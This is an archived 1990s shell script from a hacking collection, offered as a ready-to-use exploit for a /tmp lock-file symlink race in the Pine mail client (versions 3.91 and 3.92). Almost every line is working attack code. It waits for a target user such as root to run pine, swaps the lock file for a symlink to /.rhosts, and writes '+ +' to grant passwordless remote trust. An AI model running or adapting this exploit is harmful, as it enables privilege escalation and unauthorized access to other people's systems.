home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / pine_exploit.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  1998-07-17  |  3KB  |  139 lines

  1. #!/bin/sh
  2. #
  3. # pine bug exploit
  4. #
  5. # usage: pine.sh username path/file_to_create &
  6. # ex:    pine.sh root /.rhosts &
  7. # ex2:   pine.sh root /.rhosts > out & (and go to sleep).
  8. #
  9. # version 3.91, 3.92 .....
  10. # version 3.95 fixed
  11. #
  12. # Note: must do some changes in the script. look 4 CHANGE THIS:
  13. #
  14. # Yea i know is a lame script but is better than nothing..
  15. # try to exploit the bug without a script and you will wait
  16. # forever.
  17. #                     e-torres@uniandes.edu.co
  18. #
  19.  
  20. argumentos=0
  21. if [ $# -eq $argumentos ]
  22.   then
  23.     echo "Usage: $0 username path/file_to_create & "
  24.     echo "ET Lownoise 1996 Colombia"
  25.     exit
  26. fi
  27.  
  28. username=$1
  29. archivo=$2
  30.  
  31. #CHANGE THIS:
  32.  
  33. #text='text to puit in file to create'
  34. #usr=path of the program users
  35. #pineprog=how the pine program appears when u do a w (who) command
  36.  
  37. text='+ +'
  38. usr=users
  39. pineprog=pine
  40.  
  41. #
  42. date
  43. echo "- Looking for $1 to log in... just wait"
  44. #
  45. entrada=0
  46. entro=0
  47.  
  48. until [ $entro -eq $entrada ]
  49. do
  50.         for nombre in `$usr`
  51.         do
  52.          if [ $nombre = $1 ]
  53.             then
  54.                 entro=1
  55.  
  56.          fi
  57.         done
  58.  
  59. done
  60. date
  61. echo "- Ok $username is logged now."
  62. #
  63. echo "- Lets wait that $1 run pine. "
  64.  
  65. noejecuto=0
  66. ejecuto=0
  67.  
  68. until [ $ejecuto -ne $noejecuto ]
  69. do
  70.  
  71.      for ejecutando in `w $username`
  72.      do
  73.        if [ $ejecutando = $pineprog ]
  74.          then
  75.                 date
  76.                 echo '- OK ' $1 ' is running ' $pineprog '.'
  77.                 ejecuto=1
  78.  
  79.        fi
  80.      done
  81.  
  82. done
  83.  
  84. echo "- Now lets grab the lock file of $username from /tmp"
  85. ls -al /tmp | grep $username > temp1
  86. cat temp1 | grep rw-rw-rw- > temporal
  87. lockfile=`awk '{print $9}' temporal`
  88. rm temp1
  89. rm temporal
  90. echo "> Username $username"
  91. echo "> Lockfile $lockfile"
  92. echo
  93. echo "- OK now im going to wait that $username "
  94. echo "  quits $pineprog "
  95. # do it till exist lockfile, that means username havent quit pine
  96. cd /tmp
  97.  
  98. while [ -s $lockfile ]
  99.     do
  100.     sleep 0
  101. done
  102.  
  103. cd
  104. date
  105. echo "- OK $username quit $pineprog .. now to link $lockfile "
  106. #$archivo is the complete path of file in username
  107. cd /tmp
  108. ln -s $archivo $lockfile
  109. echo "- $lockfile is now linked "
  110. cd
  111. echo "- $username must now return to pine to create"
  112. echo "  $archivo "
  113. echo "- Waiting $username to return pine "
  114.  
  115. noejecuto=0
  116. ejecuto=0
  117.  
  118. until [ $ejecuto -ne $noejecuto ]
  119. do
  120.      for ejecutando in `w $username `
  121.      do
  122.        if [ $ejecutando = $pineprog ]
  123.          then
  124.                 date
  125.                 echo '- OK ' $username ' is running ' $pineprog
  126.                 ejecuto=1
  127.  
  128.        fi
  129.      done
  130.  
  131. done
  132. echo "- Introducing text..."
  133. cd /tmp
  134. echo $text > $lockfile
  135. echo "- Erasing $lockfile "
  136. rm $lockfile
  137. cd
  138. echo "THE END DUDE!"
  139.